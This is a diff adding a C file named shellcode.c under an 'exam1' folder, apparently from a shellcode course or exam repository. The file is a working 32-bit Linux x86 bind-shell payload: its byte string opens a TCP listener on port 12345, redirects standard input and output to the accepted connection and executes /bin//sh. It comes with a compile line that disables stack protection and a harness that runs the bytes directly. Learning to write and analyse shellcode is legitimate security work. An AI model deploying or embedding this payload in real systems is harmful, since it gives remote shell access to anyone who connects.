Added shellcode.c

exam1/shellcode.c

@@ -0,0 +1,22 @@
+/*
+
+To compile:
+gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
+
+*/
+
+#include <stdio.h>
+#include <string.h>
+
+unsigned char code[] = \
+"\x31\xc0\xb0\x66\x31\xdb\x43\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x31\xd2\x52\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
+
+main()
+{
+	printf("Shellcode Length:  %d\n", strlen(code));
+
+	int (*ret)() = (int(*)())code;
+
+	ret();
+}
+